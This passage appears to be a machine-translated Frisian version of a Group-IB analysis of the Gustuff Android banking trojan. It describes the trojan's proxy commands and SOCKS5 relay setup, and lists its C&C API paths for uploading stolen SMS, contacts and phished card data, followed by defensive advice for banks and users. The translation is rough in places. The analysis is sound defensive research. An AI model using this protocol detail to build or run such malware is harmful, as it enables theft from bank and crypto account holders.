mainLog("Header { sessionId<%id%>], type[<%command%>], lingte[<%length%>] }")

De folgjende kommando's binne mooglik fan 'e tsjinner:

namme Befel Data Beskriuwing
ferbiningId 0 Ferbining ID Meitsje in nije ferbining
SLIEP 3 Tiid Suspend de proxy module
TAFELTENNIS 4 - Stjoer PONG berjocht

In PONG-berjocht bestiet út 4 bytes en sjocht der sa út: 0x04000000.

As in connectionId kommando wurdt ûntfongen (om in nije ferbining te meitsjen) CommandConnection makket in eksimplaar fan 'e klasse ProxyConnection.

  • Twa klassen nimme diel oan proxying: ProxyConnection и ein. By it meitsjen fan in klasse ProxyConnection ferbining wurdt makke mei it adres ProxyConfigClass.host: ProxyConfigClass.proxyPort en trochjaan fan in JSON-objekt:

 {
    "id":<%connectionId%>
}

As antwurd stjoert de tsjinner in SOCKS5-berjocht mei it adres fan 'e tsjinner op ôfstân wêrmei't de ferbining moat wurde oprjochte. Ynteraksje mei dizze tsjinner komt troch de klasse ein. Skematysk kin de ferbiningsopstelling as folget wurde fertsjintwurdige:

Hoe't de Gustuff Android Trojan de crème (fiat en krypto) fan jo akkounts skimt

Netwurk ynteraksjes

Om foar te kommen dat netwurk sniffers it ferkear analysearje, kin de ynteraksje tusken de CnC-tsjinner en de applikaasje befeilige wurde mei it SSL-protokol. Alle oerdroegen gegevens sawol fan 'e tsjinner as nei de tsjinner binne yn JSON-formaat. De applikaasje fiert de folgjende oanfragen by operaasje:

  • http://<%CnC%>/api/v1/set_state.php is it resultaat fan kommando útfiering.
  • http://<%CnC%>/api/v1/get.php - it ûntfangen fan in kommando.
  • http://<%CnC%>/api/v1/load_sms.php - SMS-berjochten downloade fan in ynfekteare apparaat.
  • http://<%CnC%>/api/v1/load_ab.php - it opladen fan de list mei kontakten fan it ynfekteare apparaat.
  • http://<%CnC%>/api/v1/aevents.php - it fersyk wurdt makke by it bywurkjen fan de parameters yn it foarkarsbestân.
  • http://<%CnC%>/api/v1/set_card.php - it opladen fan gegevens krigen mei in phishing-finster dat maskeret as de Google Play Market.
  • http://<%CnC%>/api/v1/logs.php - it laden fan loggegevens.
  • http://<%CnC%>/api/v1/records.php - uploaden fan gegevens krigen mei phishing-finsters.
  • http://<%CnC%>/api/v1/set_error.php - flater notifikaasje.

oanbefellings

Om har klanten te beskermjen tsjin 'e bedriging fan mobile Trojans, moatte bedriuwen wiidweidige oplossingen brûke dy't, sûnder ekstra software op' e apparaten fan brûkers te ynstallearjen, mooglik meitsje om kweade aktiviteit te kontrolearjen en te foarkommen.

Om dit te dwaan moatte hantekening-basearre metoaden foar it opspoaren fan mobile Trojans moatte wurde ferbettere mei technologyen foar it analysearjen fan it gedrach fan sawol de kliïnt as de applikaasje sels. Ek moat beskerming de funksje omfetsje fan it identifisearjen fan apparaten mei help fan digitale fingerprinttechnology, dy't it mooglik makket om te begripen wannear't in akkount wurdt brûkt fan in atypysk apparaat en is al yn 'e hannen fan in frauder fallen.

In fûneminteel wichtich punt is de mooglikheid fan cross-channel analyze, wêrtroch bedriuwen de risiko's kinne kontrolearje dy't ûntsteane oan 'e kant fan net allinich it ynternet, mar ek it mobile kanaal, bygelyks yn applikaasjes foar mobyl bankieren, foar transaksjes mei krypto -faluta en elke oare wêr't it kin wurde útfierd, finansjele transaksje.

Feiligensregels foar brûkers:

  • Ynstallearje gjin applikaasjes foar in mobyl apparaat mei Android OS fan oare boarnen dan Google Play, betelje spesjaal omtinken foar de rjochten dy't troch de applikaasje frege wurde;
  • geregeldwei ynstallearje Android OS updates;
  • omtinken jaan oan de tafoegings fan opladen bestannen;
  • besykje gjin fertochte boarnen;
  • Klikje net op keppelings ûntfongen yn SMS-berjochten.

Starring Semyon Rogachev, Associate Malicious Code Researcher, Group-IB Computer Forensics Lab.

Boarne: www.habr.com

Add a comment